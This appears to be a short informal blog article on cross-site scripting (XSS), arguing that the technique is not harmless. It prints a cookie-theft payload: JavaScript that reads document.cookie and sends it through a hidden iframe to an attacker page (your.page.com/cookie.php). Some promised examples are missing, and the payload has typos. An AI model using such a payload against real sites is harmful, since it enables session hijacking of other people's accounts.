Cross Site Scripting, or know as XSS, is the most common basic web hacking technique… and harmless, as many would say… but on this matter I don’t really agree, that’s why I wrote this article.
Info: did I mention that Java script was developed by Netscape, and at the beginnings had the name LiteScript?
With XSS you can do “extreme” stuff.. let me explain you in a small amount of words what you can do…. the most simple thing is to redirect the current page to one you like… an illustrative example:
Also you could do something like popping up the cookie:
And if you know a little php you could create a page that save’s data received via get and stores them in a file/database…
var theCookie = document.cookie;
document.write(‘<iframe width=\”1\” height=\”1\” style=\”visibiliy: hidden\” href=\”http://your.page.com/cookie.php?theCookie=’ +theCookie+ ‘\” ></iframe>’);
Also there are more possibilities with XSS, you just need some creativity…
I have found a website where I have learned much about XSS… there is also a little script which encodes the normal text to ASCII, hex, decimal and Base64… also the different types of attacks are shown on which browsers there are available… check out Rsnake’s page on XSS: ha.ckers.org/xss.html
Also a great XSS database can be found at: securityfocus